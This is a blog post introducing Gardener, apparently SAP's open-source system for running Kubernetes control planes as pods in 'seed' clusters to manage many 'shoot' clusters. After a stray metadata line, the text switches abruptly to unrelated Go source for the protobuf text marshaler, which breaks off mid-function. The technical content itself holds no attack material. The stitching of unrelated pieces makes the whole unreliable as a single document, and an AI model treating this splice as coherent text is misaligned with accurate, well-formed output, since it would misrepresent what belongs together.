There are many Open Source tools which help in creating and updating single Kubernetes clusters. However, the more clusters you need the harder it becomes to operate, monitor, manage, and keep all of them alive and up-to-date.
And that is exactly what project "[Gardener](https://github.com/gardener)" focuses on. It is not just another provisioning tool, but it is rather designed to manage Kubernetes clusters as a service. It provides [Kubernetes-conformant](https://github.com/cncf/k8s-conformance) clusters on various cloud providers and the ability to maintain hundreds or thousands of them at scale. At SAP, we face this heterogeneous multi-cloud & on-premise challenge not only in our own platform, but also encounter the same demand at all our larger and smaller customers implementing Kubernetes & Cloud Native.
Inspired by the possibilities of Kubernetes and the ability to self-host, the foundation of Gardener is Kubernetes itself. While self-hosting, as in, to run Kubernetes components inside Kubernetes is a popular topic in the community, we apply a special pattern catering to the needs of operating a huge number of clusters with minimal total cost of ownership. We take an initial Kubernetes cluster (called "seed" cluster) and seed the control plane components (such as the API server, scheduler, controller-manager, etcd and others) of an end-user cluster as simple Kubernetes pods. In essence, the focus of the seed cluster is to deliver a robust Control-Plane-as-a-Service at scale. Following our botanical terminology, the end-user clusters when ready to sprout are called "shoot" clusters. Considering network latency and other fault scenarios, we recommend a seed cluster per cloud provider and region to host the control planes of the many shoot clusters.
Overall, this concept of reusing Kubernetes primitives already simplifies deployment, management, scaling & patching/updating of the control plane. Since it builds upon highly available initial seed clusters, we can evade multiple quorum number of master node requirements for shoot cluster control planes and reduce waste/costs. Furthermore, the actual shoot cluster consists only of worker nodes for which full administrative access to the respective owners could be granted, thereby structuring a necessary separation of concerns to deliver a higher level of SLO. The architectural role & operational ownerships are thus defined as following (cf. `Figure 1`):
- Kubernetes as a Service provider owns, operates, and manages the garden and the seed clusters. They represent parts of the required landscape/infrastructure.
- The control planes of the shoot clusters are run in the seed and, consequently, within the separate security domain of the service provider.
- The shoot clusters' machines are run under the ownership of and in the cloud provider account and the environment of the customer, but still managed by the Gardener.
- For on-premise or private cloud scenarios the delegation of ownership & management of the seed clusters (and the IaaS) is feasible.
<img src="/images/blog/2018-05-17-gardener-the-kubernetes-botanist/architecture.png" width="70%" alt="Gardener architecture" />
*Figure 1 Technical Gardener landscape with components.*
The Gardener is developed as an aggregated API server and comes with a bundled set of controllers. It runs inside another dedicated Kubernetes cluster (called "garden" cluster) and it extends the Kubernetes API with custom resources. Most prominently, the Shoot resource allows a description of the entire configuration of a user's Kubernetes cluster in a declarative way. Corresponding controllers will, just like native Kubernetes controllers, watch these resources and bring the world's actual state to the desired state (resulting in create, reconcile, update, upgrade, or delete operations.)
The following example manifest shows what needs to be specified:
```
apiVersion: garden.sapcloud.io/v1beta1
kind: Shoot
metadata:
name: dev-eu1
namespace: team-a
spec:
cloud:
profile: aws
region: us-east-1
secretBindingRef:
name: team-a-aws-account-credentials
aws:
machineImage:
ami: ami-34237c4d
name: CoreOS
networks:
vpc:
cidr: 10.250.0.0/16
...
workers:
- name: cpu-pool
machineType: m4.xlarge
volumeType: gp2
volumeSize: 20Gi
autoScalerMin: 2
autoScalerMax: 5
dns:
provider: aws-route53
domain: dev-eu1.team-a.example.com
kubernetes:
version: 1.10.2
backup:
...
maintenance:
...
addons:
cluster-autoscaler:
enabled: true
...
```
Once sent to the garden cluster, Gardener will pick it up and provision the actual shoot. What is not shown above is that each action will enrich the `Shoot`'s `status` field indicating whether an operation is currently running and recording the last error (if there was any) and the health of the involved components. Users are able to configure and monitor their cluster's state in true Kubernetes style. Our users have even written their own custom controllers watching & mutating these `Shoot` resources.
# Technical deep dive
The Gardener implements a Kubernetes inception approach; thus, it leverages Kubernetes capabilities to perform its operations. It provides a couple of controllers (cf. `[A]`) watching `Shoot` resources whereas the main controller is responsible for the standard operations like create, update, and delete. Another controller named "shoot care" is performing regular health checks and garbage collections, while a third's ("shoot maintenance") tasks are to cover actions like updating the shoot's machine image to the latest available version.
For every shoot, Gardener creates a dedicated `Namespace` in the seed with appropriate security policies and within it pre-creates the later required certificates managed as `Secrets`.
### etcd
The backing data store etcd (cf. `[B]`) of a Kubernetes cluster is deployed as a `StatefulSet` with one replica and a `PersistentVolume(Claim)`. Embracing best practices, we run another etcd shard-instance to store `Events` of a shoot. Anyway, the main etcd pod is enhanced with a sidecar validating the data at rest and taking regular snapshots which are then efficiently backed up to an object store. In case etcd's data is lost or corrupt, the sidecar restores it from the latest available snapshot. We plan to develop incremental/continuous backups to avoid discrepancies (in case of a recovery) between a restored etcd state and the actual state [1].
### Kubernetes control plane
As already mentioned above, we have put the other Kubernetes control plane components into native `Deployments` and run them with the rolling update strategy. By doing so, we can not only leverage the existing deployment and update capabilities of Kubernetes, but also its monitoring and liveliness proficiencies. While the control plane itself uses in-cluster communication, the API Servers' `Service` is exposed via a load balancer for external communication (cf. `[C]`). In order to uniformly generate the deployment manifests (mainly depending on both the Kubernetes version and cloud provider), we decided to utilize [Helm](https://github.com/kubernetes/helm) charts whereas Gardener leverages only Tillers rendering capabilities, but deploys the resulting manifests directly without running Tiller at all [2].
### Infrastructure preparation
One of the first requirements when creating a cluster is a well-prepared infrastructure on the cloud provider side including networks and security groups. In our current provider specific in-tree implementation of Gardener (called the "Botanist"), we employ [Terraform](https://github.com/hashicorp/terraform) to accomplish this task. Terraform provides nice abstractions for the major cloud providers and implements capabilities like parallelism, retry mechanisms, dependency graphs, idempotency, and more. However, we found that Terraform is challenging when it comes to error handling and it does not provide a technical interface to extract the root cause of an error. Currently, Gardener generates a Terraform script based on the shoot specification and stores it inside a `ConfigMap` in the respective namespace of the seed cluster. The [Terraformer component](https://github.com/gardener/terraformer) then runs as a `Job` (cf. `[D]`), executes the mounted Terraform configuration, and writes the produced state back into another `ConfigMap`. Using the Job primitive in this manner helps to inherit its retry logic and achieve fault tolerance against temporary connectivity issues or resource constraints. Moreover, Gardener only needs to access the Kubernetes API of the seed cluster to submit the Job for the underlying IaaS. This design is important for private cloud scenarios in which typically the IaaS API is not exposed publicly.
### Machine controller manager
What is required next are the nodes to which the actual workload of a cluster is to be scheduled. However, Kubernetes offers no primitives to request nodes forcing a cluster administrator to use external mechanisms. The considerations include the full lifecycle, beginning with initial provisioning and continuing with providing security fixes, and performing health checks and rolling updates. While we started with instantiating static machines or utilizing instance templates of the cloud providers to create the worker nodes, we concluded (also from our previous production experience with running a cloud platform) that this approach requires extensive effort. During discussions at KubeCon 2017, we recognized that the best way, of course, to manage cluster nodes is to again apply core Kubernetes concepts and to teach the system to self-manage the nodes/machines it runs. For that purpose, we developed the [machine controller manager](https://github.com/gardener/machine-controller-manager) (cf. `[E]`) which extends Kubernetes with `MachineDeployment`, `MachineClass`, `MachineSet` & `Machine` resources and enables declarative management of (virtual) machines from within the Kubernetes context just like `Deployments`, `ReplicaSets` & `Pods`. We reused code from existing Kubernetes controllers and just needed to abstract a few IaaS/cloud provider specific methods for creating, deleting, and listing machines in dedicated drivers. When comparing Pods and Machines a subtle difference becomes evident: creating virtual machines directly results in costs, and if something unforeseen happens, these costs can increase very quickly. To safeguard against such rampage, the machine controller manager comes with a safety controller that terminates orphaned machines and freezes the rollout of MachineDeployments and MachineSets beyond certain thresholds and time-outs. Furthermore, we leverage the existing official [cluster-autoscaler](https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler) already including the complex logic of determining which node pool to scale out or down. Since its cloud provider interface is well-designed, we enabled the autoscaler to directly modify the number of replicas in the respective `MachineDeployment` resource when triggering to scale out or down.
### Addons
Besides providing a properly setup control plane, every Kubernetes cluster requires a few system components to work. Usually, that's the kube-proxy, an overlay network, a cluster DNS, and an ingress controller. Apart from that, Gardener allows to order optional add-ons configurable by the user (in the shoot resource definition), e.g. Heapster, the Kubernetes Dashboard, or Cert-Manager. Again, the Gardener renders the manifests for all these components via Helm charts (partly adapted and curated from the [upstream charts repository](https://github.com/kubernetes/charts/tree/master/stable)). However, these resources are managed in the shoot cluster and can thus be tweaked by users with full administrative access. Hence, Gardener ensures that these deployed resources always match the computed/desired configuration by utilizing an existing watch dog, the [kube-addon-manager](https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/addon-manager) (cf. `[F]`).
### Network air gap
While the control plane of a shoot cluster runs in a seed managed & supplied by your friendly platform-provider, the worker nodes are typically provisioned in a separate cloud provider (billing) account of the user. Typically, these worker nodes are placed into private networks [3] to which the API Server in the seed control plane establishes direct communication, using a simple [VPN](https://github.com/gardener/vpn) solution based on ssh (cf. `[G]`). We have recently migrated the SSH-based implementation to an [OpenVPN](https://github.com/OpenVPN/openvpn)-based implementation which significantly increased the network bandwidth.
### Monitoring & Logging
Monitoring, alerting, and logging are crucial to supervise clusters and keep them healthy so as to avoid outages and other issues. [Prometheus](https://github.com/prometheus/prometheus) has become the most used monitoring system in the Kubernetes domain. Therefore, we deploy a central Prometheus instance into the `garden` namespace of every seed. It collects metrics from all the seed's kubelets including those for all pods running in the seed cluster. In addition, next to every control plane a dedicated tenant Prometheus instance is provisioned for the shoot itself (cf. `[H]`). It gathers metrics for its own control plane as well as for the pods running on the shoot's worker nodes. The former is done by fetching data from the central Prometheus' federation endpoint and filtering for relevant control plane pods of the particular shoot. Other than that, Gardener deploys two [kube-state-metrics](https://github.com/kubernetes/kube-state-metrics) instances, one responsible for the control plane and one for the workload, exposing cluster-level metrics to enrich the data. The [node exporter](https://github.com/prometheus/node_exporter) provides more detailed node statistics. A dedicated tenant [Grafana](http://github.com/grafana/grafana) dashboard displays the analytics and insights via lucid dashboards. We also defined alerting rules for critical events and employed the [AlertManager](https://github.com/prometheus/alertmanager) to send emails to operators and support teams in case any alert is fired.
[1] This is also the reason for not supporting point-in-time recovery. There is no reliable infrastructure reconciliation implemented in Kubernetes so far. Thus, restoring from an old backup without refreshing the actual workload and state of the concerned cluster would generally not be of much help.
[2] The most relevant criteria for this decision was that Tiller requires a port-forward connection for communication which we experienced to be too unstable and error-prone for our automated use case. Nevertheless, we are looking forward to Helm v3 hopefully interacting with Tiller using `CustomResourceDefinitions`.
[3] Gardener offers to either create & prepare these networks with the Terraformer or it can be instructed to reuse pre-existing networks.
# Usability and Interaction
Despite requiring only the familiar `kubectl` command line tool for managing all of Gardener, we provide a central [dashboard](https://github.com/gardener/dashboard) for comfortable interaction. It enables users to easily keep track of their clusters' health, and operators to monitor, debug, and analyze the clusters they are responsible for. Shoots are grouped into logical projects in which teams managing a set of clusters can collaborate and even track issues via an integrated ticket system (e.g. GitHub Issues). Moreover, the dashboard helps users to add & manage their infrastructure account secrets and to view the most relevant data of all their shoot clusters in one place while being independent from the cloud provider they are deployed to.

*Figure 2 Animated Gardener dashboard.*
More focused on the duties of developers and operators, the Gardener command line client [`gardenctl`](https://github.com/gardener/gardenctl) simplifies administrative tasks by introducing easy higher-level abstractions with simple commands that help condense and multiplex information & actions from/to large amounts of seed and shoot clusters.
```bash
$ gardenctl ls shoots
projects:
- project: team-a
shoots:
- dev-eu1
- prod-eu1
$ gardenctl target shoot prod-eu1
[prod-eu1]
$ gardenctl show prometheus
NAME READY STATUS RESTARTS AGE IP NODE
prometheus-0 3/3 Running 0 106d 10.241.241.42 ip-10-240-7-72.eu-central-1.compute.internal
URL: https://user:[email protected]
```
# Outlook and future plans
The Gardener is already capable of managing Kubernetes clusters on AWS, Azure, GCP, OpenStack [4]. Actually, due to the fact that it relies only on Kubernetes primitives, it nicely connects to private cloud or on-premise requirements. The only difference from Gardener's point of view would be the quality and scalability of the underlying infrastructure - the lingua franca of Kubernetes ensures strong portability guarantees for our approach.
Nevertheless, there are still challenges ahead. We are probing a possibility to include an option to create a federation control plane delegating to multiple shoot clusters in this Open Source project. In the previous sections we have not explained how to [bootstrap](https://en.wikipedia.org/wiki/M%C3%BCnchhausen_trilemma) the garden and the seed clusters themselves. You could indeed use any production ready cluster provisioning tool or the cloud providers' Kubernetes as a Service offering. We have built an uniform tool called [Kubify](https://github.com/gardener/kubify) based on Terraform and reused many of the mentioned Gardener components. We envision the required Kubernetes infrastructure to be able to be spawned in its entirety by an initial bootstrap Gardener and are already discussing how we could achieve that.
Another important topic we are focusing on is disaster recovery. When a seed cluster fails, the user's static workload will continue to operate. However, administrating the cluster won't be possible anymore. We are considering to move control planes of the shoots hit by a disaster to another seed. Conceptually, this approach is feasible and we already have the required components in place to implement that, e.g. automated etcd backup and restore. The contributors for this project not only have a mandate for developing Gardener for production, but most of us even run it in true DevOps mode as well. We completely trust the Kubernetes concepts and are committed to follow the "eat your own dog food" approach.
In order to enable a more independent evolution of the Botanists, which contain the infrastructure provider specific parts of the implementation, we plan to describe well-defined interfaces and factor out the Botanists into their own components. This is similar to what Kubernetes is currently doing with the cloud-controller-manager. Currently, all the cloud specifics are part of the core Gardener repository presenting a soft barrier to extending or supporting new cloud providers.
When taking a look at how the shoots are actually provisioned, we need to gain more experience on how really large clusters with thousands of nodes and pods (or more) behave. Potentially, we will have to deploy e.g. the API server and other components in a scaled-out fashion for large clusters to spread the load. Fortunately, horizontal pod autoscaling based on custom metrics from Prometheus will make this relatively easy with our setup. Additionally, the feedback from teams who run production workloads on our clusters, is that Gardener should support with prearranged Kubernetes [QoS](https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod/). Needless to say, our aspiration is going to be the integration and contribution to the vision of [Kubernetes Autopilot](https://speakerdeck.com/thockin/a-few-things-to-know-about-resource-scheduling).
[4] Prototypes already validated CTyun & Aliyun.
# Gardener is open source
The Gardener project is developed as Open Source and hosted on GitHub: https://github.com/gardener
SAP is working on Gardener since mid 2017 and is focused on building up a project that can easily be evolved and extended. Consequently, we are now looking for further partners and contributors to the project. As outlined above, we completely rely on Kubernetes primitives, add-ons, and specifications and adapt its innovative Cloud Native approach. We are looking forward to aligning with and contributing to the Kubernetes community. In fact, we envision contributing the complete project to the CNCF.
At the moment, an important focus on collaboration with the community is the [Cluster API working group](https://sigs.k8s.io/cluster-api) within the SIG Cluster Lifecycle founded a few months ago. Its primary goal is the definition of a portable API representing a Kubernetes cluster. That includes the configuration of control planes and the underlying infrastructure. The overlap of what we have already in place with Shoot and Machine resources compared to what the community is working on is striking. Hence, we joined this working group and are actively participating in their regular meetings, trying to contribute back our learnings from production. Selfishly, it is also in our interest to shape a robust API.
If you see the potential of the Gardener project then please learn more about it on GitHub and help us make Gardener even better by asking questions, engaging in discussions, and by contributing code. Also, try out our [quick start setup](https://github.com/gardener/landscape-setup-template).
We are looking forward to seeing you there!
| {
"pile_set_name": "Github"
} |
// Go support for Protocol Buffers - Google's data interchange format
//
// Copyright 2010 The Go Authors. All rights reserved.
// https://github.com/golang/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
package proto
// Functions for writing the text protocol buffer format.
import (
"bufio"
"bytes"
"encoding"
"errors"
"fmt"
"io"
"log"
"math"
"reflect"
"sort"
"strings"
)
var (
newline = []byte("\n")
spaces = []byte(" ")
gtNewline = []byte(">\n")
endBraceNewline = []byte("}\n")
backslashN = []byte{'\\', 'n'}
backslashR = []byte{'\\', 'r'}
backslashT = []byte{'\\', 't'}
backslashDQ = []byte{'\\', '"'}
backslashBS = []byte{'\\', '\\'}
posInf = []byte("inf")
negInf = []byte("-inf")
nan = []byte("nan")
)
type writer interface {
io.Writer
WriteByte(byte) error
}
// textWriter is an io.Writer that tracks its indentation level.
type textWriter struct {
ind int
complete bool // if the current position is a complete line
compact bool // whether to write out as a one-liner
w writer
}
func (w *textWriter) WriteString(s string) (n int, err error) {
if !strings.Contains(s, "\n") {
if !w.compact && w.complete {
w.writeIndent()
}
w.complete = false
return io.WriteString(w.w, s)
}
// WriteString is typically called without newlines, so this
// codepath and its copy are rare. We copy to avoid
// duplicating all of Write's logic here.
return w.Write([]byte(s))
}
func (w *textWriter) Write(p []byte) (n int, err error) {
newlines := bytes.Count(p, newline)
if newlines == 0 {
if !w.compact && w.complete {
w.writeIndent()
}
n, err = w.w.Write(p)
w.complete = false
return n, err
}
frags := bytes.SplitN(p, newline, newlines+1)
if w.compact {
for i, frag := range frags {
if i > 0 {
if err := w.w.WriteByte(' '); err != nil {
return n, err
}
n++
}
nn, err := w.w.Write(frag)
n += nn
if err != nil {
return n, err
}
}
return n, nil
}
for i, frag := range frags {
if w.complete {
w.writeIndent()
}
nn, err := w.w.Write(frag)
n += nn
if err != nil {
return n, err
}
if i+1 < len(frags) {
if err := w.w.WriteByte('\n'); err != nil {
return n, err
}
n++
}
}
w.complete = len(frags[len(frags)-1]) == 0
return n, nil
}
func (w *textWriter) WriteByte(c byte) error {
if w.compact && c == '\n' {
c = ' '
}
if !w.compact && w.complete {
w.writeIndent()
}
err := w.w.WriteByte(c)
w.complete = c == '\n'
return err
}
func (w *textWriter) indent() { w.ind++ }
func (w *textWriter) unindent() {
if w.ind == 0 {
log.Print("proto: textWriter unindented too far")
return
}
w.ind--
}
func writeName(w *textWriter, props *Properties) error {
if _, err := w.WriteString(props.OrigName); err != nil {
return err
}
if props.Wire != "group" {
return w.WriteByte(':')
}
return nil
}
// raw is the interface satisfied by RawMessage.
type raw interface {
Bytes() []byte
}
func requiresQuotes(u string) bool {
// When type URL contains any characters except [0-9A-Za-z./\-]*, it must be quoted.
for _, ch := range u {
switch {
case ch == '.' || ch == '/' || ch == '_':
continue
case '0' <= ch && ch <= '9':
continue
case 'A' <= ch && ch <= 'Z':
continue
case 'a' <= ch && ch <= 'z':
continue
default:
return true
}
}
return false
}
// isAny reports whether sv is a google.protobuf.Any message
func isAny(sv reflect.Value) bool {
type wkt interface {
XXX_WellKnownType() string
}
t, ok := sv.Addr().Interface().(wkt)
return ok && t.XXX_WellKnownType() == "Any"
}
// writeProto3Any writes an expanded google.protobuf.Any message.
//
// It returns (false, nil) if sv value can't be unmarshaled (e.g. because
// required messages are not linked in).
//
// It returns (true, error) when sv was written in expanded format or an error
// was encountered.
func (tm *TextMarshaler) writeProto3Any(w *textWriter, sv reflect.Value) (bool, error) {
turl := sv.FieldByName("TypeUrl")
val := sv.FieldByName("Value")
if !turl.IsValid() || !val.IsValid() {
return true, errors.New("proto: invalid google.protobuf.Any message")
}
b, ok := val.Interface().([]byte)
if !ok {
return true, errors.New("proto: invalid google.protobuf.Any message")
}
parts := strings.Split(turl.String(), "/")
mt := MessageType(parts[len(parts)-1])
if mt == nil {
return false, nil
}
m := reflect.New(mt.Elem())
if err := Unmarshal(b, m.Interface().(Message)); err != nil {
return false, nil
}
w.Write([]byte("["))
u := turl.String()
if requiresQuotes(u) {
writeString(w, u)
} else {
w.Write([]byte(u))
}
if w.compact {
w.Write([]byte("]:<"))
} else {
w.Write([]byte("]: <\n"))
w.ind++
}
if err := tm.writeStruct(w, m.Elem()); err != nil {
return true, err
}
if w.compact {
w.Write([]byte("> "))
} else {
w.ind--
w.Write([]byte(">\n"))
}
return true, nil
}
func (tm *TextMarshaler) writeStruct(w *textWriter, sv reflect.Value) error {
if tm.ExpandAny && isAny(sv) {
if canExpand, err := tm.writeProto3Any(w, sv); canExpand {
return err
}
}
st := sv.Type()
sprops := GetProperties(st)
for i := 0; i < sv.NumField(); i++ {
fv := sv.Field(i)
props := sprops.Prop[i]
name := st.Field(i).Name
if strings.HasPrefix(name, "XXX_") {
// There are two XXX_ fields:
// XXX_unrecognized []byte
// XXX_extensions map[int32]proto.Extension
// The first is handled here;
// the second is handled at the bottom of this function.
if name == "XXX_unrecognized" && !fv.IsNil() {
if err := writeUnknownStruct(w, fv.Interface().([]byte)); err != nil {
return err
}
}
continue
}
if fv.Kind() == reflect.Ptr && fv.IsNil() {
// Field not filled in. This could be an optional field or
// a required field that wasn't filled in. Either way, there
// isn't anything we can show for it.
continue
}
if fv.Kind() == reflect.Slice && fv.IsNil() {
// Repeated field that is empty, or a bytes field that is unused.
continue
}
if props.Repeated && fv.Kind() == reflect.Slice {
// Repeated field.
for j := 0; j < fv.Len(); j++ {
if err := writeName(w, props); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte(' '); err != nil {
return err
}
}
v := fv.Index(j)
if v.Kind() == reflect.Ptr && v.IsNil() {
// A nil message in a repeated field is not valid,
// but we can handle that more gracefully than panicking.
if _, err := w.Write([]byte("<nil>\n")); err != nil {
return err
}
continue
}
if err := tm.writeAny(w, v, props); err != nil {
return err
}
if err := w.WriteByte('\n'); err != nil {
return err
}
}
continue
}
if fv.Kind() == reflect.Map {
// Map fields are rendered as a repeated struct with key/value fields.
keys := fv.MapKeys()
sort.Sort(mapKeys(keys))
for _, key := range keys {
val := fv.MapIndex(key)
if err := writeName(w, props); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte(' '); err != nil {
return err
}
}
// open struct
if err := w.WriteByte('<'); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte('\n'); err != nil {
return err
}
}
w.indent()
// key
if _, err := w.WriteString("key:"); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte(' '); err != nil {
return err
}
}
if err := tm.writeAny(w, key, props.mkeyprop); err != nil {
return err
}
if err := w.WriteByte('\n'); err != nil {
return err
}
// nil values aren't legal, but we can avoid panicking because of them.
if val.Kind() != reflect.Ptr || !val.IsNil() {
// value
if _, err := w.WriteString("value:"); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte(' '); err != nil {
return err
}
}
if err := tm.writeAny(w, val, props.mvalprop); err != nil {
return err
}
if err := w.WriteByte('\n'); err != nil {
return err
}
}
// close struct
w.unindent()
if err := w.WriteByte('>'); err != nil {
return err
}
if err := w.WriteByte('\n'); err != nil {
return err
}
}
continue
}
if props.proto3 && fv.Kind() == reflect.Slice && fv.Len() == 0 {
// empty bytes field
continue
}
if fv.Kind() != reflect.Ptr && fv.Kind() != reflect.Slice {
// proto3 non-repeated scalar field; skip if zero value
if isProto3Zero(fv) {
continue
}
}
if fv.Kind() == reflect.Interface {
// Check if it is a oneof.
if st.Field(i).Tag.Get("protobuf_oneof") != "" {
// fv is nil, or holds a pointer to generated struct.
// That generated struct has exactly one field,
// which has a protobuf struct tag.
if fv.IsNil() {
continue
}
inner := fv.Elem().Elem() // interface -> *T -> T
tag := inner.Type().Field(0).Tag.Get("protobuf")
props = new(Properties) // Overwrite the outer props var, but not its pointee.
props.Parse(tag)
// Write the value in the oneof, not the oneof itself.
fv = inner.Field(0)
// Special case to cope with malformed messages gracefully:
// If the value in the oneof is a nil pointer, don't panic
// in writeAny.
if fv.Kind() == reflect.Ptr && fv.IsNil() {
// Use errors.New so writeAny won't render quotes.
msg := errors.New("/* nil */")
fv = reflect.ValueOf(&msg).Elem()
}
}
}
if err := writeName(w, props); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte(' '); err != nil {
return err
}
}
if b, ok := fv.Interface().(raw); ok {
if err := writeRaw(w, b.Bytes()); err != nil {
return err
}
continue
}
// Enums have a String method, so writeAny will work fine.
if err := tm.writeAny(w, fv, props); err != nil {
return err
}
if err := w.WriteByte('\n'); err != nil {
return err
}
}
// Extensions (the XXX_extensions field).
pv := sv.Addr()
if _, ok := extendable(pv.Interface()); ok {
if err := tm.writeExtensions(w, pv); err != nil {
return err
}
}
return nil
}
// writeRaw writes an uninterpreted raw message.
func writeRaw(w *textWriter, b []byte) error {
if err := w.WriteByte('<'); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte('\n'); err != nil {
return err
}
}
w.indent()
if err := writeUnknownStruct(w, b); err != nil {
return err
}
w.unindent()
if err := w.WriteByte('>'); err != nil {
return err
}
return nil
}
// writeAny writes an arbitrary field.
func (tm *TextMarshaler) writeAny(w *textWriter, v reflect.Value, props *Properties) error {
v = reflect.Indirect(v)
// Floats have special cases.
if v.Kind() == reflect.Float32 || v.Kind() == reflect.Float64 {
x := v.Float()
var b []byte
switch {
case math.IsInf(x, 1):
b = posInf
case math.IsInf(x, -1):
b = negInf
case math.IsNaN(x):
b = nan
}
if b != nil {
_, err := w.Write(b)
return err
}
// Other values are handled below.
}
// We don't attempt to serialise every possible value type; only those
// that can occur in protocol buffers.
switch v.Kind() {
case reflect.Slice:
// Should only be a []byte; repeated fields are handled in writeStruct.
if err := writeString(w, string(v.Bytes())); err != nil {
return err
}
case reflect.String:
if err := writeString(w, v.String()); err != nil {
return err
}
case reflect.Struct:
// Required/optional group/message.
var bra, ket byte = '<', '>'
if props != nil && props.Wire == "group" {
bra, ket = '{', '}'
}
if err := w.WriteByte(bra); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte('\n'); err != nil {
return err
}
}
w.indent()
if etm, ok := v.Interface().(encoding.TextMarshaler); ok {
text, err := etm.MarshalText()
if err != nil {
return err
}
if _, err = w.Write(text); err != nil {
return err
}
} else if err := tm.writeStruct(w, v); err != nil {
return err
}
w.unindent()
if err := w.WriteByte(ket); err != nil {
return err
}
default:
_, err := fmt.Fprint(w, v.Interface())
return err
}
return nil
}
// equivalent to C's isprint.
func isprint(c byte) bool {
return c >= 0x20 && c < 0x7f
}
// writeString writes a string in the protocol buffer text format.
// It is similar to strconv.Quote except we don't use Go escape sequences,
// we treat the string as a byte sequence, and we use octal escapes.
// These differences are to maintain interoperability with the other
// languages' implementations of the text format.
func writeString(w *textWriter, s string) error {
// use WriteByte here to get any needed indent
if err := w.WriteByte('"'); err != nil {
return err
}
// Loop over the bytes, not the runes.
for i := 0; i < len(s); i++ {
var err error
// Divergence from C++: we don't escape apostrophes.
// There's no need to escape them, and the C++ parser
// copes with a naked apostrophe.
switch c := s[i]; c {
case '\n':
_, err = w.w.Write(backslashN)
case '\r':
_, err = w.w.Write(backslashR)
case '\t':
_, err = w.w.Write(backslashT)
case '"':
_, err = w.w.Write(backslashDQ)
case '\\':
_, err = w.w.Write(backslashBS)
default:
if isprint(c) {
err = w.w.WriteByte(c)
} else {
_, err = fmt.Fprintf(w.w, "\\%03o", c)
}
}
if err != nil {
return err
}
}
return w.WriteByte('"')
}
func writeUnknownStruct(w *textWriter, data []byte) (err error) {
if !w.compact {
if _, err := fmt.Fprintf(w, "/* %d unknown bytes */\n", len(data)); err != nil {
return err
}
}
b := NewBuffer(data)
for b.index < len(b.buf) {
x, err := b.DecodeVarint()
if err != nil {
_, err := fmt.Fprintf(w, "/* %v */\n", err)
return err
}
wire, tag := x&7, x>>3
if wire == WireEndGroup {
w.unindent()
if _, err := w.Write(endBraceNewline); err != nil {
return err
}
continue
}
if _, err := fmt.Fprint(w, tag); err != nil {
return err
}
if wire != WireStartGroup {
if err := w.WriteByte(':'); err != nil {
return err
}
}
if !w.compact || wire == WireStartGroup {
if err := w.WriteByte(' '); err != nil {
return err
}
}
switch wire {
case WireBytes:
buf, e := b.DecodeRawBytes(false)
if e == nil {
_, err = fmt.Fprintf(w, "%q", buf)
} else {
_, err = fmt.Fprintf(w, "/* %v */", e)
}
case WireFixed32:
x, err = b.DecodeFixed32()
err = writeUnknownInt(w, x, err)
case WireFixed64:
x, err = b.DecodeFixed64()
err = writeUnknownInt(w, x, err)
case WireStartGroup:
err = w.WriteByte('{')
w.indent()
case WireVarint:
x, err = b.DecodeVarint()
err = writeUnknownInt(w, x, err)
default:
_, err = fmt.Fprintf(w, "/* unknown wire type %d */", wire)
}
if err != nil {
return err
}
if err = w.WriteByte('\n'); err != nil {
return err
}
}
return nil
}
func writeUnknownInt(w *textWriter, x uint64, err error) error {
if err == nil {
_, err = fmt.Fprint(w, x)
} else {
_, err = fmt.Fprintf(w, "/* %v */", err)
}
return err
}
type int32Slice []int32
func (s int32Slice) Len() int { return len(s) }
func (s int32Slice) Less(i, j int) bool { return s[i] < s[j] }
func (s int32Slice) Swap(i, j int) { s[i], s[j] = s[j], s[i] }
// writeExtensions writes all the extensions in pv.
// pv is assumed to be a pointer to a protocol message struct that is extendable.
func (tm *TextMarshaler) writeExtensions(w *textWriter, pv reflect.Value) error {
emap := extensionMaps[pv.Type().Elem()]
ep, _ := extendable(pv.Interface())
// Order the extensions by ID.
// This isn't strictly necessary, but it will give us
// canonical output, which will also make testing easier.
m, mu := ep.extensionsRead()
if m == nil {
return nil
}
mu.Lock()
ids := make([]int32, 0, len(m))
for id := range m {
ids = append(ids, id)
}
sort.Sort(int32Slice(ids))
mu.Unlock()
for _, extNum := range ids {
ext := m[extNum]
var desc *ExtensionDesc
if emap != nil {
desc = emap[extNum]
}
if desc == nil {
// Unknown extension.
if err := writeUnknownStruct(w, ext.enc); err != nil {
return err
}
continue
}
pb, err := GetExtension(ep, desc)
if err != nil {
return fmt.Errorf("failed getting extension: %v", err)
}
// Repeated extensions will appear as a slice.
if !desc.repeated() {
if err := tm.writeExtension(w, desc.Name, pb); err != nil {
return err
}
} else {
